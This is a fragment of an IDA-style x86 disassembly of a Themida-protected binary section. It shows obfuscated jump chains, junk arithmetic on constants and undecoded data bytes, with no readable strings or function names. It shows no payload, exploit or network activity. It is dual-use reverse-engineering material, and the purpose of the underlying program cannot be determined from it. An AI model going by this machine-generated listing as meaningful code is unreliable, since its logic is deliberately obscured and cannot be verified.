		db 83h,	0C4h, 4
		dd 0FFA510E9h, 242C33FFh, 33242C31h, 0FF5C242Ch, 34FF2434h
		dd 89565824h, 363168E6h, 3C890000h, 13D0BF24h, 0E94754BCh
		dd 0FFFFC687h
; ---------------------------------------------------------------------------


loc_594E3C:				; CODE XREF: Themida_:00592309j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		jmp	loc_58D35B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC5D2h, 8CE9F789h, 0FFFFFF68h, 3C8B2434h, 4C48124h
		dd 81000000h, 4C4h, 74FF5200h, 0E95A0424h, 0FFFF5E5Ah
; ---------------------------------------------------------------------------


loc_594E8C:				; CODE XREF: Themida_:0058D4E8j
		mov	[esp], edi
		mov	edi, 0D6F6CAAh
		sub	[ecx], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59348F
; ---------------------------------------------------------------------------
		db 81h
		dd 1109A9F6h, 5EEC15Eh,	0C8850F46h, 0C1000000h,	0AAE906E6h
		dd 6600002Eh, 52240C8Bh, 5845EB80h, 0E9F8C380h,	0FFFFD993h
; ---------------------------------------------------------------------------


loc_594ED0:				; CODE XREF: Themida_:0058D12Dj
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_58E3A6
; ---------------------------------------------------------------------------
		dd 850FC4FEh, 0FFFFFB6Dh, 0E903E4C0h, 0FFFFA8F9h, 66B45066h
		dd 8B5FE100h, 0CBE92424h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594F03:				; CODE XREF: Themida_:005933BDj
		not	ecx
		jmp	loc_591FB3
; ---------------------------------------------------------------------------


loc_594F0A:				; CODE XREF: Themida_:00592A69j
		pop	ebx
		push	7527h
		mov	[esp], ebx
		mov	bl, 82h
		and	bl, 0E1h
		not	bl
		push	dx
		push	eax
		jmp	loc_596FEE
; ---------------------------------------------------------------------------
		dw 6853h
		dd 213C21DDh, 0F43E9h, 0D830AC00h, 4EC81h, 14890000h, 7015E924h
		dd 575DFFFFh, 451ED6BFh, 4EFC124h, 8D6CF81h, 870F2698h
		dd 0FFFFE405h, 7035E781h, 0ABE95CE4h, 88FFFFE5h, 34FF5BF5h
		dd 0EC815824h, 4, 89240C89h, 0D3E956E1h, 33000025h, 96E9243Ch
		dd 0C1FFFF7Eh, 19E906E6h, 6600001Ah, 52240C8Bh,	24148B54h
		dd 5704C483h, 1A1318BFh, 14BD5508h, 29081A13h, 0C2815DEFh
		dd 0D607D4h, 3BE9FA01h,	0FFFFFFFBh, 669D1C77h, 2414D359h
		dd 5310E99Ch, 4B5BFFFFh, 0FFA334E9h, 8C0F4DFFh,	0FFFF7B46h
		dd 68C0F45h, 4D000019h
		db 2Ch,	0E7h
; ---------------------------------------------------------------------------


loc_594FD6:				; CODE XREF: Themida_:005923C6j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, bh
		mov	ch, ah
		jmp	loc_594B37
; ---------------------------------------------------------------------------


loc_594FE9:				; CODE XREF: Themida_:0059699Bj
		mov	esi, 2C306A0Bh
		jmp	loc_58D30A
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4BA52h, 0D0010000h, 2404875Ah, 8324248Bh,	0E95604C4h
		dd 0FFFFD2ADh, 0A8B45053h, 0E958E388h, 0FFFFA32Fh, 2C481h
		dd 81660000h, 0E97DA1EBh, 2D68h
; ---------------------------------------------------------------------------


loc_59502C:				; CODE XREF: Themida_:0058DF49j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_591C8F
; ---------------------------------------------------------------------------
		dd 0B5240C89h, 1E68661Dh, 14896644h, 7B624h, 5A66F5h, 240C8BE8h
		dd 0E904C483h, 0FFFFF5D3h, 73F768h, 240C8900h, 2E50E9h
		db 0
; ---------------------------------------------------------------------------


loc_595079:				; CODE XREF: Themida_:0059299Bj
		inc	byte ptr [esp+1]
		pop	ecx
		xchg	ch, dh
		shl	dh, 5
		push	cx
		jmp	loc_58CEDC
; ---------------------------------------------------------------------------


loc_59508A:				; CODE XREF: Themida_:00592585j
		push	edx
		mov	edx, 44656E6Ah
		or	edi, edx
		pop	edx
		dec	edi
		add	edi, 86A5D203h
		add	esi, edi
		pop	edi
		mov	edx, esi
		pop	esi
		sub	eax, 761A4B16h
		add	eax, edx
		push	ecx
		mov	ecx, 151859F7h
		and	ecx, 766F536Ah
		jmp	loc_59519B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFC2A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5950C1:				; CODE XREF: Themida_:0058F861j
		pop	edx
		push	6071h
		mov	[esp], ecx
		mov	ch, 86h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_590EAE
; ---------------------------------------------------------------------------
		dw 7C29h
		dd 6C810824h, 0BCA0824h, 0D8E948ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5950EB:				; CODE XREF: Themida_:005909F3j
		xor	esi, 0A3B8F40Eh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 3
		shr	eax, 6
		xor	eax, 7A013650h
		xor	edi, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_594D40
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 81h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595123:				; CODE XREF: Themida_:0059242Aj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 27632137h
		dec	ecx
		xor	ecx, 0E3C37ADh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 48DB7DCDh
		add	ecx, 676F02CEh
		add	ecx, 42C02BDCh
		sub	ecx, eax
		sub	ecx, 42C02BDCh
		push	ebx
		mov	ebx, 222D7F14h
		xor	ebx, 45427DDAh
		sub	ecx, ebx
		jmp	loc_58D931
; ---------------------------------------------------------------------------
		db 31h
		dd 0F475AD7h, 0FFB4BB8Fh, 9560E9FFh, 34FFFFFFh,	89525A24h
		dd 8BDE89E2h, 88642424h, 5144E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59518A:				; CODE XREF: Themida_:00591B6Bj
		add	eax, 7C780284h
		add	eax, ebx
		sub	eax, 7C780284h
		jmp	loc_58C25B
; ---------------------------------------------------------------------------


loc_59519B:				; CODE XREF: Themida_:005950B3j
		and	ecx, 5F654888h
		shr	ecx, 4
		xor	ecx, 775A4F16h
		add	eax, ecx
		pop	ecx
		pop	edx
		sub	eax, 2
		xchg	eax, [esp]
		jmp	loc_58EBAB
; ---------------------------------------------------------------------------


loc_5951B9:				; CODE XREF: Themida_:0058D0E6j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58D126
; ---------------------------------------------------------------------------


loc_5951C7:				; CODE XREF: Themida_:loc_58A82Ej
		or	dl, 77h
		sub	dl, 8Fh
		jmp	loc_5904A9
; ---------------------------------------------------------------------------
		dw 4FFh
		dd 0F3E99C24h, 5AFFFF50h, 836EBB05h, 2DC8291Dh,	1D836EBBh
		dd 7DEFE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5951EE:				; CODE XREF: Themida_:0058A633j
		push	ebx
		jmp	loc_597E6D
; ---------------------------------------------------------------------------


loc_5951F4:				; CODE XREF: Themida_:005908C7j
		neg	ebp
		or	ebp, 7AD04679h
		add	ebp, 0F2D51E0h
		push	ebx
		jmp	loc_5979B7
; ---------------------------------------------------------------------------
		dd 0C8BE0F66h, 1FC668h,	243C8900h, 5653E789h, 0FF8C82E9h
		dd 243C89FFh, 0E23178BFh, 0B3F7813Eh, 81359306h, 7137C7EFh
		dd 5168E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595236:				; CODE XREF: Themida_:0058C168j
		sub	ecx, 0F992A9Ah
		add	ecx, edi
		add	ecx, 0F992A9Ah
		mov	edi, [esp]
		jmp	loc_58E7DF
; ---------------------------------------------------------------------------


loc_59524C:				; CODE XREF: Themida_:005912A1j
		push	ebx
		mov	ebx, 16AC7617h
		push	edx
		jmp	loc_58E3E5
; ---------------------------------------------------------------------------


loc_595258:				; CODE XREF: Themida_:00594B96j
		push	ebp
		jmp	loc_597116
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 685C2404h, 456h, 54240C89h, 4EC8159h, 89000000h
		dd 0ECE92404h, 66FFFFFAh, 0E924048Bh, 0FFFFE0FEh
; ---------------------------------------------------------------------------


loc_595288:				; CODE XREF: Themida_:005935EAj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp


loc_595295:				; CODE XREF: Themida_:00591802j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		push	60AAh
		mov	[esp], ebp
		mov	eax, [esp]
		push	edx
		jmp	loc_593BFB
; ---------------------------------------------------------------------------


loc_5952AE:				; CODE XREF: Themida_:0058E5E2j
		mov	[esp], eax
		push	59920CA8h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 0A66DF358h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_596671
; ---------------------------------------------------------------------------


loc_5952D8:				; CODE XREF: Themida_:00595FFCj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5979AF
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4EC81h, 2C890000h, 584D6824h, 4890000h, 209B6824h, 5580A2Dh
		dd 6EB14403h, 5558C589h, 8B2414F7h, 0C481242Ch,	4, 0E94DDDF7h
		dd 0FFFFB5C5h
; ---------------------------------------------------------------------------


loc_595318:				; CODE XREF: Themida_:0058AC1Dj
		xor	al, 0F6h
		push	ebx
		mov	bl, al
		jmp	loc_58DEAF
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 51665AF7h, 0CF00C7B1h, 302C5966h, 3004F828h,	81241C8Bh
		dd 4C4h, 68516600h, 68B2h, 0B7241C89h, 5BFD882Dh, 5966EB00h
		dd 6EBE6866h, 24048966h, 80BCB753h, 0F888F1F7h,	0FFE866E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595365:				; CODE XREF: Themida_:0058F731j
		jmp	loc_591573
; ---------------------------------------------------------------------------
		dw 7D68h
		dd 0E9000015h, 1A59h, 1676C181h, 830F3EE9h, 0FFFF7919h
		dd 12E98141h, 0B1204903h
		db 28h,	53h
; ---------------------------------------------------------------------------


loc_59538A:				; CODE XREF: Themida_:00596829j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_591215
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FF65F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5953A1:				; CODE XREF: Themida_:0058F57Bj
					; Themida_:00590669j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_58B03F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF4F16h, 24048F5Fh, 0E924248Bh, 0FFFF6C8Ch
; ---------------------------------------------------------------------------


loc_5953C4:				; CODE XREF: Themida_:005948B2j
		xor	[esp], ebp
		jmp	loc_5907BF
; ---------------------------------------------------------------------------


loc_5953CC:				; CODE XREF: Themida_:00597581j
		mov	edx, esp
		push	ebp
		jmp	loc_58C17E
; ---------------------------------------------------------------------------


loc_5953D4:				; CODE XREF: Themida_:0058F825j
		mov	[esp], ebp
		push	53BE0650h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 6
		jmp	loc_594098
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 8B54240Ch, 0C481240Ch,	4, 4B95152h, 89000000h
		dd 240C8BCAh, 0FFCED5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595411:				; CODE XREF: Themida_:0058B369j
		inc	ebp
		jo	loc_5974C0
		jmp	loc_593CE3
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28300h, 5C241487h, 0FF8EF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595431:				; CODE XREF: Themida_:005977D2j
		mov	cl, dh
		mov	bl, cl
		jmp	loc_594390
; ---------------------------------------------------------------------------
		dw 0EFC0h
		dd 0FC7FE03h, 0FFB8B28Ah, 0E0F780FFh, 31E9FC88h, 0B8FFFFBEh
		dd 61AD291Eh, 7440AE35h, 58C5296Fh, 37B5F581h, 0ED817443h
		dd 8572AF5Fh, 30EC181h,	0E9016ECDh, 30EE981h, 0FFE96ECDh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59547B:				; CODE XREF: Themida_:0058DA9Aj
		add	eax, 67371400h
		add	eax, ebx
		push	ebx
		mov	ebx, 67371400h
		sub	eax, ebx
		pop	ebx
		push	1B17h
		mov	[esp], esi
		push	edi
		mov	edi, 0BB0B99h
		mov	esi, edi
		jmp	loc_597F43
; ---------------------------------------------------------------------------


loc_5954A0:				; CODE XREF: Themida_:005955FDj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_592784
; ---------------------------------------------------------------------------
		db 5, 0CDh, 0A2h
		dd 0C6897A53h, 0ECBA5258h, 2960CBF0h, 0F7895AD6h, 8124348Bh
		dd 4C4h, 0FFF80100h, 815F2434h,	4C4h, 0A786E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5954DA:				; CODE XREF: Themida_:0058ECDDj
					; Themida_:00590C0Cj
		pop	ecx
		pop	ebx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 59h
		dd 0C111DB09h, 0C58102EDh, 50391213h, 6D62F581h, 0EA0138B6h
		dd 206AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5954FD:				; CODE XREF: Themida_:0058DBA1j
		add	edi, ebp
		pop	ebp
		sub	edi, 0E9065A7h
		sub	edi, 50C11B4h
		add	edi, esi
		add	edi, 50C11B4h
		push	ebx
		jmp	loc_593F18
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 248B2404h, 241C8924h, 0FF5224E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595529:				; CODE XREF: Themida_:0058D632j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_594D26
; ---------------------------------------------------------------------------
		dd 0EB81D3F7h, 8F5A17F5h, 2D5BD829h, 53C40480h,	0CCE9D829h
		dd 81FFFFB7h, 4C3h, 4EB8300h, 5C241C87h, 0E9241489h, 0FFFFA7DFh
; ---------------------------------------------------------------------------


loc_595564:				; CODE XREF: Themida_:0058CBD7j
		mov	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		jmp	loc_5902BF
; ---------------------------------------------------------------------------


loc_595572:				; CODE XREF: Themida_:0058EE68j
		pop	ecx
		neg	esi
		dec	esi
		add	esi, offset byte_42404D
		sub	eax, 7DFF51DDh
		jmp	loc_59626C
; ---------------------------------------------------------------------------
		dw 0A4BDh
		dd 0E957B44Bh, 0FFFF814Bh
; ---------------------------------------------------------------------------


loc_595590:				; CODE XREF: Themida_:005961D3j
		pop	ebx
		shl	ebp, 5
		js	loc_5923D6
		jmp	loc_591B3D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D9F704E9h
		db 8Bh,	0FDh
; ---------------------------------------------------------------------------


loc_5955A6:				; CODE XREF: Themida_:0058EB51j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 65h
		jmp	loc_5974C0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C242C87h, 51240C89h, 0C181E189h,	4, 0FFA5DEE9h
		dd 0EE815EFFh, 1A303338h, 835EF701h, 0C36802C7h, 0E900000Ch
		dd 0FFFFE6BFh
; ---------------------------------------------------------------------------


loc_5955E8:				; CODE XREF: Themida_:0059471Fj
		add	ebp, 0F4D74686h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5939F4
; ---------------------------------------------------------------------------


loc_5955FB:				; CODE XREF: Themida_:00597756j
		pop	edi
		push	esi
		jmp	loc_5954A0
; ---------------------------------------------------------------------------


loc_595602:				; CODE XREF: Themida_:005967C3j
		mov	cl, 0B3h
		or	dh, cl
		jmp	loc_58BD2B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 8904EC83h, 4B82404h, 0E9000000h,	0FFFF96A0h
; ---------------------------------------------------------------------------


loc_595620:				; CODE XREF: Themida_:0058EB6Fj
		not	eax
		xchg	eax, [esp]
		pop	ebp
		push	ebx
		mov	ebx, 14F557Ch
		dec	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_595955
; ---------------------------------------------------------------------------


loc_595637:				; CODE XREF: Themida_:0058CCB8j
		dec	ebx
		jnp	loc_590D69
		shr	ebx, 7
		jns	loc_5932C5
		sub	ebx, 0FFFDBA48h
		jmp	loc_591AC2
; ---------------------------------------------------------------------------
		dw 77FFh
		db 1Ch
; ---------------------------------------------------------------------------


loc_595655:				; CODE XREF: Themida_:0058A659j
		push	ebx
		mov	ebx, 0F3C73F1h
		and	ebx, 297B411Ah
		push	edx
		mov	edx, 4238301Ch
		sub	edx, 0FFFFFFFFh
		neg	edx
		or	edx, 33EB3B39h
		jmp	loc_595CE3
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 8904EC83h, 4BB241Ch,	1000000h, 0CD0BE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59568E:				; CODE XREF: Themida_:00590476j
		shr	ebx, 1
		xor	ebx, 0EA17DB00h
		xor	esi, ebx
		jmp	loc_58B4CE
; ---------------------------------------------------------------------------
		db 0B1h, 64h, 20h
		dd 0CF4EE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5956A6:				; CODE XREF: Themida_:0059731Fj
		push	eax
		mov	eax, 6C03719Fh
		or	edx, eax
		pop	eax
		sub	edx, 5A75247Ah
		jmp	loc_58C210
; ---------------------------------------------------------------------------


loc_5956BA:				; CODE XREF: Themida_:00590939j
		or	eax, eax
		jz	loc_5913B3
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		push	esi
		jmp	loc_58AC58
; ---------------------------------------------------------------------------


loc_5956CF:				; CODE XREF: Themida_:00590BA0j
		add	ecx, eax
		jmp	loc_5936D6
; ---------------------------------------------------------------------------
		dw 8B0Fh
		dd 2894h, 0E9B2EE80h, 0FFFFA20Eh, 8A40D0F7h, 81EED1C1h
		dd 0EDEA3DEEh, 0E9F28986h, 0FFFF5AC7h, 0BA241489h, 4, 0FFD9FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595705:				; CODE XREF: Themida_:00594B60j
		add	ecx, 4
		push	ebp
		mov	ebp, 50CA6A0Eh
		jmp	loc_592A17
; ---------------------------------------------------------------------------


loc_595716:				; CODE XREF: Themida_:0058C66Ej
					; Themida_:005919DDj
		shl	ecx, 3
		neg	ecx
		and	ecx, 61524015h
		push	ebp
		mov	ebp, 0EEAED357h
		sub	ecx, ebp
		jmp	loc_58DCC0
; ---------------------------------------------------------------------------


loc_59572E:				; CODE XREF: Themida_:0059456Cj
		sub	eax, 599D6AFAh
		add	ebp, eax
		jmp	loc_593EDB
; ---------------------------------------------------------------------------
		dw 8B66h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_594A4E
; ---------------------------------------------------------------------------


loc_595746:				; CODE XREF: Themida_:0058D9DBj
		push	ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0DCF6h
		dd 30EDC480h, 0D2F658E2h, 0FE50F280h, 2CF280CAh, 2C5AD028h
		dd 1421E99Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59576A:				; CODE XREF: Themida_:0058D492j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_592C35
; ---------------------------------------------------------------------------


loc_595773:				; CODE XREF: Themida_:005960BEj
		or	ebx, 73BA6790h
		jno	loc_5961CB
		sub	ebx, 4AE42B21h
		mov	ebp, ebx
		xor	al, 0D7h
		sub	dh, 1
		jmp	loc_592996
; ---------------------------------------------------------------------------


loc_595791:				; CODE XREF: Themida_:0058ED86j
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		push	5C0Bh
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_58A617
; ---------------------------------------------------------------------------


loc_5957AD:				; CODE XREF: Themida_:0058C05Fj
		add	edx, ecx
		add	edx, 3FC579D0h
		jmp	loc_58CAF7
; ---------------------------------------------------------------------------


loc_5957BA:				; CODE XREF: Themida_:0058A3F7j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	ebx, [esp]
		add	esp, 4
		push	5641h
		mov	[esp], edx
		push	eax
		jmp	loc_59780B
; ---------------------------------------------------------------------------
		dd offset byte_5BF381
aEsIBuS0	db 'ESΑλ',7,'γ)s0',0
		dw 61E9h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5957F7:				; CODE XREF: Themida_:00592157j
		pop	eax
		jmp	loc_58B765
; ---------------------------------------------------------------------------


loc_5957FD:				; CODE XREF: Themida_:005936DFj
		mov	dh, al
		jmp	loc_59681E
; ---------------------------------------------------------------------------


loc_595804:				; CODE XREF: Themida_:005908B8j
		sub	edi, 199F0951h
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5923AC
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 0FFh
		dd 8102E5C1h, 55BED6F5h, 5DE801F9h, 2474FF50h, 24048B04h
		dd 8F04C483h, 665C2404h, 2404BB0Fh, 4A84E99Ch, 5259FFFFh
		dd 1C5BBB53h, 1AE94B1Eh, 81FFFF82h, 1CFB3AEBh, 0A4B2E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595862:				; CODE XREF: Themida_:0058CD5Ej
		sub	esi, ecx
		pop	ecx
		xor	esi, 0D5B4B866h
		mov	edi, esi
		pop	esi
		jmp	loc_58D630
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 48B2434h, 0E2895224h, 4C281h, 0C2830000h
		dd 74FF5204h, 8F5A0424h, 0E95C2404h, 0FFFFEF36h, 96D0F796h
		dd 3209EE81h, 0C6816B23h, 49C1B86Bh, 2242ED81h,	0F50144FDh
		dd 2242C581h, 575E44FDh, 7BE9E789h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5958BF:				; CODE XREF: Themida_:0058CA38j
		mov	ch, 3Ch
		add	al, ch
		pop	ecx
		sub	al, dh
		sub	al, 3Ch
		pop	edx
		add	al, 0ADh
		jmp	loc_590845
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 36DE3844h, 80E95352h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5958DF:				; CODE XREF: Themida_:0058C203j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_598030
; ---------------------------------------------------------------------------


loc_5958F0:				; CODE XREF: Themida_:0058CE10j
		inc	cl
		jmp	loc_58DC36
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8002E7C0h, 7CE98ECFh, 80FFFFECh, 0E62059ECh,	4FECE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59590E:				; CODE XREF: Themida_:0058A7C2j
		push	ebx
		push	ecx
		push	1F0F3EEDh
		pop	ecx
		add	ecx, 17D3F90Eh
		jmp	loc_594A14
; ---------------------------------------------------------------------------


loc_595921:				; CODE XREF: Themida_:0058D2E1j
		pop	edi
		neg	ecx
		neg	ecx
		shr	ecx, 5
		xor	ecx, 22785E3Ch
		jmp	loc_58D869
; ---------------------------------------------------------------------------


loc_595934:				; CODE XREF: Themida_:0058A54Aj
		mov	ebx, esp
		jmp	loc_5923CB
; ---------------------------------------------------------------------------


loc_59593B:				; CODE XREF: Themida_:00596AD5j
		jno	loc_590DA6
		push	1A89h
		mov	[esp], ebx
		push	ebp
		jmp	loc_58A83F
; ---------------------------------------------------------------------------


loc_59594F:				; CODE XREF: Themida_:0058A684j
		pop	ecx
		jmp	loc_595D14
; ---------------------------------------------------------------------------


loc_595955:				; CODE XREF: Themida_:00595632j
		push	edx
		mov	edx, 29344E4Dh
		neg	edx
		jmp	loc_5917C5
; ---------------------------------------------------------------------------


loc_595962:				; CODE XREF: Themida_:00597FC5j
		push	edx
		mov	edx, 2
		jmp	loc_58EE33
; ---------------------------------------------------------------------------


loc_59596D:				; CODE XREF: Themida_:0058FB81j
		mov	dx, [esp]
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	32D9h
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_58E859
; ---------------------------------------------------------------------------
		db 4
		dd 28C42C98h, 0E9C404D8h, 0FFFFECA1h
; ---------------------------------------------------------------------------


loc_5959A4:				; CODE XREF: Themida_:0058B0D5j
		pop	ecx
		push	esi
		mov	esi, 1BFD0BB5h
		and	esi, 35730607h
		add	esi, 6B84D5DCh
		sub	edi, esi
		jmp	loc_58E4E3
; ---------------------------------------------------------------------------


loc_5959BE:				; CODE XREF: Themida_:00592459j
		mov	edx, 4A728C0Dh
		add	ecx, edx
		pop	edx
		mov	eax, ecx
		pop	ecx
		and	edx, eax
		jmp	loc_58A4EA
; ---------------------------------------------------------------------------
		dd 0E959EB00h, 0FFFFE0F8h, 9FB95155h, 0E97E7602h, 0FFFFC9F7h
		dd 0D588ED81h, 0E989144Bh, 244C015Dh, 0EC815908h, 4, 0BF243C89h
		dd 56770CD0h, 8FBCF81h,	8D0F29AAh, 0FFFFBE3Dh, 2E1FE781h
		dd 0F2801302h
		db 84h,	59h
; ---------------------------------------------------------------------------


loc_595A16:				; CODE XREF: Themida_:0058F4DFj
		and	ecx, 6CA03396h
		xchg	edx, ecx
		not	edx
		jmp	loc_58FA20
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0E9h
		dd 0FFFF69FAh, 5768D831h, 8900007Dh, 6850243Ch,	3D31h
		dd 0FFE37AE9h, 25F068FFh, 34890000h, 0E7895724h, 0FF74ACE9h
		dd 81E289FFh, 4C2h, 4C28300h, 5C241487h, 8702C183h, 248B240Ch
		dd 0D3885324h, 81E68956h, 4C6h,	54BD5500h, 0C10B7048h
		dd 0DFE905E5h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595A83:				; CODE XREF: Themida_:0058F438j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_592139
; ---------------------------------------------------------------------------


loc_595A8E:				; CODE XREF: Themida_:0058BB18j
		sub	ebx, eax
		push	edx
		mov	edx, 493A36F6h
		shr	edx, 4
		shr	edx, 1
		shr	edx, 6
		xor	edx, 7F99589Bh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7EC06810h
		jmp	loc_58FB7E
; ---------------------------------------------------------------------------
		dw 7EB6h
		dd 2868B151h, 240C8BCEh, 0FF5EE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595AC9:				; CODE XREF: Themida_:00593530j
		push	esp
		jmp	loc_58E63D
; ---------------------------------------------------------------------------


loc_595ACF:				; CODE XREF: Themida_:loc_590545j
		jmp	loc_58C60A
; ---------------------------------------------------------------------------


loc_595AD4:				; CODE XREF: Themida_:0058BF4Ej
		sub	esi, eax
		pop	eax
		jmp	loc_58B00A
; ---------------------------------------------------------------------------


loc_595ADC:				; CODE XREF: Themida_:0058EA74j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591130
; ---------------------------------------------------------------------------
		dw 8FB6h
		dd 305AF188h, 285966CBh, 0EC835BD8h, 0E4C4E904h, 0F381FFFFh
		dd 293617CAh, 0AFE9D3F7h, 5BFFFF64h, 0E959CA89h, 1617h
		dd 0F1E9F201h, 81000006h, 4C6h,	4EC8100h, 89000000h, 0B1E92434h
		dd 81000018h, 6F61ABC3h, 0E9DE29B9h, 18ADh, 0E924248Bh
		dd 0FFFF49B2h
; ---------------------------------------------------------------------------


loc_595B44:				; CODE XREF: Themida_:0058B6EAj
		dec	ebx
		push	edi
		mov	edi, 2E142FB7h
		add	edi, 3A183B9Dh
		add	edi, 0D3EDC0D9h
		jmp	loc_58E88B
; ---------------------------------------------------------------------------


loc_595B5C:				; CODE XREF: Themida_:00592CC6j
		shr	ecx, 3
		sub	ecx, 631E21DEh
		xor	ecx, 9CE202A6h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_591AAC
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 50532404h, 405E089h,	0E9000000h, 0FFFFEBDFh
; ---------------------------------------------------------------------------


loc_595B88:				; CODE XREF: Themida_:00592298j
		add	eax, esi
		pop	esi
		sub	eax, edx
		jmp	loc_58B512
; ---------------------------------------------------------------------------


loc_595B92:				; CODE XREF: Themida_:0058FA5Dj
		dec	ecx
